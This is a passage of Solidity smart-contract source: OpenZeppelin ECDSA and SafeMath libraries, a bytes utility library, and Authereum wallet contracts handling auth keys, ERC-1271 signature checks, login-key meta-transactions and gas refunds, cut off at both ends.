holder * of the private keys of a given address. * * This contract is from openzeppelin-solidity 2.4.0 */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This contract is from openzeppelin-solidity 2.4.0 */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @title Solidity Bytes Arrays Utils * @author Gonçalo Sá <[email protected]> * * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity. * The library lets you concatenate, slice and type cast bytes arrays both in memory and storage. */ library BytesLib { function concat( bytes memory _preBytes, bytes memory _postBytes ) internal pure returns (bytes memory) { bytes memory tempBytes; assembly { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // Store the length of the first bytes array at the beginning of // the memory for tempBytes. let length := mload(_preBytes) mstore(tempBytes, length) // Maintain a memory counter for the current write location in the // temp bytes array by adding the 32 bytes for the array length to // the starting location. let mc := add(tempBytes, 0x20) // Stop copying when the memory counter reaches the length of the // first bytes array. let end := add(mc, length) for { // Initialize a copy counter to the start of the _preBytes data, // 32 bytes into its memory. let cc := add(_preBytes, 0x20) } lt(mc, end) { // Increase both counters by 32 bytes each iteration. mc := add(mc, 0x20) cc := add(cc, 0x20) } { // Write the _preBytes data into the tempBytes memory 32 bytes // at a time. mstore(mc, mload(cc)) } // Add the length of _postBytes to the current length of tempBytes // and store it as the new length in the first 32 bytes of the // tempBytes memory. length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) // Move the memory counter back from a multiple of 0x20 to the // actual end of the _preBytes data. mc := end // Stop copying when the memory counter reaches the new combined // length of the arrays. end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } // Update the free-memory pointer by padding our last write location // to 32 bytes: add 31 bytes to the end of tempBytes to move to the // next 32 byte block, then round down to the nearest multiple of // 32. If the sum of the length of the two arrays is zero then add // one before rounding down to leave a blank 32 bytes (the length block with 0). mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) // Round down to the nearest 32 bytes. )) } return tempBytes; } function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal { assembly { // Read the first 32 bytes of _preBytes storage, which is the length // of the array. (We don't need to use the offset into the slot // because arrays use the entire slot.) let fslot := sload(_preBytes_slot) // Arrays of 31 bytes or less have an even value in their slot, // while longer arrays have an odd value. The actual length is // the slot divided by two for odd values, and the lowest order // byte divided by two for even values. // If the slot is even, bitwise and the slot with 255 and divide by // two to get the length. If the slot is odd, bitwise and the slot // with -1 and divide by two. let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) let newlength := add(slength, mlength) // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage switch add(lt(slength, 32), lt(newlength, 32)) case 2 { // Since the new array still fits in the slot, we just need to // update the contents of the slot. // uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length sstore( _preBytes_slot, // all the modifications to the slot are inside this // next block add( // we can just add to the slot contents because the // bytes we want to change are the LSBs fslot, add( mul( div( // load the bytes from memory mload(add(_postBytes, 0x20)), // zero all bytes to the right exp(0x100, sub(32, mlength)) ), // and now shift left the number of bytes to // leave space for the length in the slot exp(0x100, sub(32, newlength)) ), // increase length by the double of the memory // bytes length mul(mlength, 2) ) ) ) } case 1 { // The stored value fits in the slot, but the combined value // will exceed it. // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // The contents of the _postBytes array start 32 bytes into // the structure. Our first read should obtain the `submod` // bytes that can fit into the unused space in the last word // of the stored array. To get this, we read 32 bytes starting // from `submod`, so the data we read overlaps with the array // contents by `submod` bytes. Masking the lowest-order // `submod` bytes allows us to add that value directly to the // stored value. let submod := sub(32, slength) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore( sc, add( and( fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 ), and(mload(mc), mask) ) ) for { mc := add(mc, 0x20) sc := add(sc, 1) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } default { // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) // Start copying to the last used word of the stored array. let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // Copy over the first `submod` bytes of the new data as in // case 1 above. let slengthmod := mod(slength, 32) let mlengthmod := mod(mlength, 32) let submod := sub(32, slengthmod) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore(sc, add(sload(sc), and(mload(mc), mask))) for { sc := add(sc, 1) mc := add(mc, 0x20) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } } } function slice( bytes memory _bytes, uint _start, uint _length ) internal pure returns (bytes memory) { require(_bytes.length >= (_start + _length)); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) { require(_bytes.length >= (_start + 20)); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) { require(_bytes.length >= (_start + 1)); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) { require(_bytes.length >= (_start + 2)); uint16 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x2), _start)) } return tempUint; } function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) { require(_bytes.length >= (_start + 4)); uint32 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x4), _start)) } return tempUint; } function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) { require(_bytes.length >= (_start + 8)); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), _start)) } return tempUint; } function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) { require(_bytes.length >= (_start + 12)); uint96 tempUint; assembly { tempUint := mload(add(add(_bytes, 0xc), _start)) } return tempUint; } function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) { require(_bytes.length >= (_start + 16)); uint128 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x10), _start)) } return tempUint; } function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) { require(_bytes.length >= (_start + 32)); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) { require(_bytes.length >= (_start + 32)); bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) { bool success = true; assembly { let length := mload(_preBytes) // if lengths don't match the arrays are not equal switch eq(length, mload(_postBytes)) case 1 { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 let mc := add(_preBytes, 0x20) let end := add(mc, length) for { let cc := add(_postBytes, 0x20) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { // if any of these checks fails then arrays are not equal if iszero(eq(mload(mc), mload(cc))) { // unsuccess: success := 0 cb := 0 } } } default { // unsuccess: success := 0 } } return success; } function equalStorage( bytes storage _preBytes, bytes memory _postBytes ) internal view returns (bool) { bool success = true; assembly { // we know _preBytes_offset is 0 let fslot := sload(_preBytes_slot) // Decode the length of the stored array like in concatStorage(). let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) // if lengths don't match the arrays are not equal switch eq(slength, mlength) case 1 { // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage if iszero(iszero(slength)) { switch lt(slength, 32) case 1 { // blank the last byte which is the length fslot := mul(div(fslot, 0x100), 0x100) if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) { // unsuccess: success := 0 } } default { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := keccak256(0x0, 0x20) let mc := add(_postBytes, 0x20) let end := add(mc, mlength) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) for {} eq(add(lt(mc, end), cb), 2) { sc := add(sc, 1) mc := add(mc, 0x20) } { if iszero(eq(sload(sc), mload(mc))) { // unsuccess: success := 0 cb := 0 } } } } } default { // unsuccess: success := 0 } } return success; } } /** * @title BaseAccount * @author Authereum Labs, Inc. * @dev Base account contract. Performs most of the functionality * @dev of an Authereum account contract. */ contract BaseAccount is AccountState, AccountInitialize, TokenReceiverHooks { using SafeMath for uint256; using ECDSA for bytes32; using BytesLib for bytes; // Include a CHAIN_ID const uint256 constant private CHAIN_ID = 1; modifier onlySelf { require(msg.sender == address(this), "BA: Only self allowed"); _; } modifier onlyAuthKeySender { require(_isValidAuthKey(msg.sender), "BA: Auth key is invalid"); _; } modifier onlyAuthKeySenderOrSelf { require(_isValidAuthKey(msg.sender) || msg.sender == address(this), "BA: Auth key or self is invalid"); _; } // Initialize logic contract via the constructor so it does not need to be done manually // after the deployment of the logic contract. Using max uint ensures that the true // lastInitializedVersion is never reached. constructor () public { lastInitializedVersion = uint256(-1); } // This is required for funds sent to this contract function () external payable {} /** * Getters */ /// @dev Get the chain ID constant /// @return The chain id function getChainId() public pure returns (uint256) { return CHAIN_ID; } /** * Public functions */ /// @dev Add an auth key to the list of auth keys /// @param _authKey Address of the auth key to add function addAuthKey(address _authKey) external onlyAuthKeySenderOrSelf { require(authKeys[_authKey] == false, "BA: Auth key already added"); authKeys[_authKey] = true; numAuthKeys += 1; emit AuthKeyAdded(_authKey); } /// @dev Remove an auth key from the list of auth keys /// @param _authKey Address of the auth key to remove function removeAuthKey(address _authKey) external onlyAuthKeySenderOrSelf { require(authKeys[_authKey] == true, "BA: Auth key not yet added"); require(numAuthKeys > 1, "BA: Cannot remove last auth key"); authKeys[_authKey] = false; numAuthKeys -= 1; emit AuthKeyRemoved(_authKey); } /** * Internal functions */ /// @dev Check if an auth key is valid /// @param _authKey Address of the auth key to validate /// @return True if the auth key is valid function _isValidAuthKey(address _authKey) internal view returns (bool) { return authKeys[_authKey]; } /// @dev Execute a transaction without a refund /// @notice This is the transaction sent from the CBA /// @param _destination Destination of the transaction /// @param _value Value of the transaction /// @param _gasLimit Gas limit of the transaction /// @param _data Data of the transaction /// @return Response of the call function _executeTransaction( address _destination, uint256 _value, uint256 _gasLimit, bytes memory _data ) internal returns (bytes memory) { (bool success, bytes memory res) = _destination.call.gas(_gasLimit).value(_value)(_data); // Get the revert message of the call and revert with it if the call failed if (!success) { string memory _revertMsg = _getRevertMsg(res); revert(_revertMsg); } return res; } /// @dev Get the revert message from a call /// @notice This is needed in order to get the human-readable revert message from a call /// @param _res Response of the call /// @return Revert message string function _getRevertMsg(bytes memory _res) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_res.length < 68) return 'BA: Transaction reverted silently'; bytes memory revertData = _res.slice(4, _res.length - 4); // Remove the selector which is the first 4 bytes return abi.decode(revertData, (string)); // All that remains is the revert string } } contract IERC1271 { function isValidSignature( bytes memory _data, bytes memory _signature ) public view returns (bytes4 magicValue); } /** * @title ERC1271Account * @author Authereum Labs, Inc. * @dev Implements isValidSignature for ERC1271 compatibility */ contract ERC1271Account is IERC1271, BaseAccount { // NOTE: Valid magic value bytes4(keccak256("isValidSignature(bytes,bytes)") bytes4 constant private VALID_SIG = 0x20c13b0b; // NOTE: Invalid magic value bytes4 constant private INVALID_SIG = 0xffffffff; /** * Public functions */ /// @dev Check if a message and signature pair is valid /// @notice The _signature parameter can either be one auth key signature or it can /// @notice be a login key signature and an auth key signature (signed login key) /// @param _data Data that was signed /// @param _signature Signature(s) of the data. Either a single signature (login) or two (login and auth) /// @return VALID_SIG or INVALID_SIG hex data function isValidSignature( bytes memory _data, bytes memory _signature ) public view returns (bytes4) { if (_signature.length == 65) { return isValidAuthKeySignature(_data, _signature); } else if (_signature.length >= 130) { return isValidLoginKeySignature(_data, _signature); } else { revert("ERC1271: Invalid isValidSignature _signature length"); } } /// @dev Check if a message and auth key signature pair is valid /// @param _data Data that was signed /// @param _signature Signature of the data signed by the authkey /// @return VALID_SIG or INVALID_SIG hex data function isValidAuthKeySignature( bytes memory _data, bytes memory _signature ) public view returns (bytes4) { require(_signature.length == 65, "ERC1271: Invalid isValidAuthKeySignature _signature length"); address authKeyAddress = _getEthSignedMessageHash(_data).recover( _signature ); bytes4 magicValue = _isValidAuthKey(authKeyAddress) ? VALID_SIG : INVALID_SIG; return magicValue; } /// @dev Check if a message and login key signature pair is valid, as well as a signed login key by an auth key /// @param _data Message that was signed /// @param _signature Signature of the data. Signed msg data by the login key and signed login key by auth key /// @return VALID_SIG or INVALID_SIG hex data function isValidLoginKeySignature( bytes memory _data, bytes memory _signature ) public view returns (bytes4) { require(_signature.length >= 130, "ERC1271: Invalid isValidLoginKeySignature _signature length"); bytes memory msgHashSignature = _signature.slice(0, 65); bytes memory loginKeyAttestationSignature = _signature.slice(65, 65); uint256 restrictionDataLength = _signature.length.sub(130); bytes memory loginKeyRestrictionData = _signature.slice(130, restrictionDataLength); address _loginKeyAddress = _getEthSignedMessageHash(_data).recover( msgHashSignature ); // NOTE: The OpenZeppelin toEthSignedMessageHash is used here (and not above) // NOTE: because the length is hard coded at 32 and we know that this will always // NOTE: be true for this line. bytes32 loginKeyAttestationMessageHash = keccak256(abi.encode( _loginKeyAddress, loginKeyRestrictionData )).toEthSignedMessageHash(); address _authKeyAddress = loginKeyAttestationMessageHash.recover( loginKeyAttestationSignature ); bytes4 magicValue = _isValidAuthKey(_authKeyAddress) ? VALID_SIG : INVALID_SIG; return magicValue; } /** * Internal functions */ /// @dev Adds ETH signed message prefix to bytes message and hashes it /// @param _data Bytes data before adding the prefix /// @return Prefixed and hashed message function _getEthSignedMessageHash(bytes memory _data) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", _uint2str(_data.length), _data)); } /// @dev Convert uint to string /// @param _num Uint to be converted /// @return String equivalent of the uint function _uint2str(uint _num) private pure returns (string memory _uintAsString) { if (_num == 0) { return "0"; } uint i = _num; uint j = _num; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0) { bstr[k--] = byte(uint8(48 + i % 10)); i /= 10; } return string(bstr); } } /** * @title BaseMetaTxAccount * @author Authereum Labs, Inc. * @dev Contract that lays the foundations for meta transactions * @dev are performed in this contract as well. */ contract BaseMetaTxAccount is BaseAccount { /** * Public functions */ /// @dev Execute multiple meta transactions /// @notice This can only be called by self as a part of the atomic meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @return The responses of the calls function executeMultipleMetaTransactions(bytes[] memory _transactions) public onlyAuthKeySenderOrSelf returns (bytes[] memory) { return _executeMultipleMetaTransactions(_transactions); } /** * Internal functions */ /// @dev Atomically execute a meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _gasPrice Gas price set by the user /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee /// @return The _transactionMessageHash and responses of the calls function _atomicExecuteMultipleMetaTransactions( bytes[] memory _transactions, uint256 _gasPrice, uint256 _gasOverhead, address _feeTokenAddress, uint256 _feeTokenRate ) internal returns (bytes32, bytes[] memory) { // Verify that the relayer gasPrice is acceptable require(_gasPrice <= tx.gasprice, "BMTA: Not a large enough tx.gasprice"); // Hash the parameters bytes32 _transactionMessageHash = keccak256(abi.encode( address(this), msg.sig, getChainId(), nonce, _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate )).toEthSignedMessageHash(); // Increment nonce by the number of transactions being processed // NOTE: The nonce will still increment even if batched transactions fail atomically // NOTE: The reason for this is to mimic an EOA as closely as possible nonce += _transactions.length; bytes memory _encodedTransactions = abi.encodeWithSelector( this.executeMultipleMetaTransactions.selector, _transactions ); (bool success, bytes memory res) = address(this).call(_encodedTransactions); // Check if any of the atomic transactions failed, if not, decode return data bytes[] memory _returnValues; if (!success) { string memory _revertMsg = _getRevertMsg(res); emit CallFailed(_revertMsg); } else { _returnValues = abi.decode(res, (bytes[])); } return (_transactionMessageHash, _returnValues); } /// @dev Execute a meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @return The responses of the calls function _executeMultipleMetaTransactions(bytes[] memory _transactions) internal returns (bytes[] memory) { // Execute transactions individually bytes[] memory _returnValues = new bytes[](_transactions.length); for(uint i = 0; i < _transactions.length; i++) { // Execute the transaction _returnValues[i] = _decodeAndExecuteTransaction(_transactions[i]); } return _returnValues; } /// @dev Decode and execute a meta transaction /// @param _transaction Transaction (destination, value, gasLimit, data) /// @return Succcess status and response of the call function _decodeAndExecuteTransaction(bytes memory _transaction) internal returns (bytes memory) { (address _destination, uint256 _value, uint256 _gasLimit, bytes memory _data) = _decodeTransactionData(_transaction); // Execute the transaction return _executeTransaction( _destination, _value, _gasLimit, _data ); } /// @dev Decode transaction data /// @param _transaction Transaction (destination, value, gasLimit, data) function _decodeTransactionData(bytes memory _transaction) internal pure returns (address, uint256, uint256, bytes memory) { return abi.decode(_transaction, (address, uint256, uint256, bytes)); } /// @dev Issue a refund /// @param _startGas Starting gas at the beginning of the transaction /// @param _gasPrice Gas price to use when sending a refund /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee function _issueRefund( uint256 _startGas, uint256 _gasPrice, uint256 _gasOverhead, address _feeTokenAddress, uint256 _feeTokenRate ) internal { uint256 _gasUsed = _startGas.sub(gasleft()).add(_gasOverhead); // Pay refund in ETH if _feeTokenAddress is 0. Else, pay in the token if (_feeTokenAddress == address(0)) { require(_gasUsed.mul(_gasPrice) <= address(this).balance, "BA: Insufficient gas (ETH) for refund"); // NOTE: The return value is not checked because the relayer should not propagate a transaction that will revert // NOTE: and malicious behavior by the relayer here will cost the relayer, as the fee is already calculated msg.sender.call.value(_gasUsed.mul(_gasPrice))(""); } else { IERC20 feeToken = IERC20(_feeTokenAddress); uint256 totalTokenFee = _gasUsed.mul(_feeTokenRate); require(totalTokenFee <= feeToken.balanceOf(address(this)), "BA: Insufficient gas (token) for refund"); // NOTE: The return value is not checked because the relayer should not propagate a transaction that will revert feeToken.transfer(msg.sender, totalTokenFee); } } } /** * @title LoginKeyMetaTxAccount * @author Authereum Labs, Inc. * @dev Contract used by login keys to send transactions. Login key firwall checks * @dev are performed in this contract as well. */ contract LoginKeyMetaTxAccount is BaseMetaTxAccount { /// @dev Execute an loginKey meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _gasPrice Gas price set by the user /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _loginKeyRestrictionsData Contains restrictions to the loginKey's functionality /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee /// @param _transactionMessageHashSignature Signed transaction data /// @param _loginKeyAttestationSignature Signed loginKey /// @return Response of the call function executeMultipleLoginKeyMetaTransactions( bytes[] memory _transactions, uint256 _gasPrice, uint256 _gasOverhead, bytes memory _loginKeyRestrictionsData, address _feeTokenAddress, uint256 _feeTokenRate, bytes memory _transactionMessageHashSignature, bytes memory _loginKeyAttestationSignature ) public returns (bytes[] memory) { uint256 startGas = gasleft(); _validateLoginKeyRestrictions( _transactions, _loginKeyRestrictionsData ); // Hash the parameters bytes32 _transactionMessageHash = keccak256(abi.encode( address(this), msg.sig, getChainId(), nonce, _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate )).toEthSignedMessageHash(); // Validate the signers // NOTE: This must be done prior to the _atomicExecuteMultipleMetaTransactions() call for security purposes _validateLoginKeyMetaTransactionSigs( _transactionMessageHash, _transactionMessageHashSignature, _loginKeyRestrictionsData, _loginKeyAttestationSignature ); (, bytes[] memory _returnValues) = _atomicExecuteMultipleMetaTransactions( _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate ); // Refund gas costs _issueRefund(startGas, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate); return _returnValues; } /** * Internal functions */ /// @dev validates all loginKey Restrictions /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _loginKeyRestrictionsData Contains restrictions to the loginKey's functionality function _validateLoginKeyRestrictions( bytes[] memory _transactions, bytes memory _loginKeyRestrictionsData ) internal view { // Check that no calls are made to self address _destination; for(uint i = 0; i < _transactions.length; i++) { (_destination,,,) = _decodeTransactionData(_transactions[i]); require(_destination != address(this), "LKMTA: Login key is not able to call self"); } // Check _validateLoginKeyRestrictions restrictions uint256 loginKeyExpirationTime = abi.decode(_loginKeyRestrictionsData, (uint256)); // Check that loginKey is not expired require(loginKeyExpirationTime > now, "LKMTA: Login key is expired"); } /// @dev Validate signatures from an auth key meta transaction /// @param _transactionsMessageHash Ethereum signed message of the transaction /// @param _transactionMessgeHashSignature Signed transaction data /// @param _loginKeyRestrictionsData Contains restrictions to the loginKey's functionality /// @param _loginKeyAttestationSignature Signed loginKey /// @return Address of the login key that signed the data function _validateLoginKeyMetaTransactionSigs( bytes32 _transactionsMessageHash, bytes memory _transactionMessgeHashSignature, bytes memory _loginKeyRestrictionsData, bytes memory _loginKeyAttestationSignature ) internal view { address _transactionMessageSigner = _transactionsMessageHash.recover( _transactionMessgeHashSignature ); bytes32 loginKeyAttestationMessageHash = keccak256(abi.encode( _transactionMessageSigner, _loginKeyRestrictionsData )).toEthSignedMessageHash(); address _authKeyAddress = loginKeyAttestationMessageHash.recover( _loginKeyAttestationSignature ); require(_isValidAuthKey(_authKeyAddress), "LKMTA: Auth key is invalid"); } } /** * @title AuthKeyMetaTxAccount * @author Authereum Labs, Inc. * @dev Contract used by auth keys to send transactions. */ contract 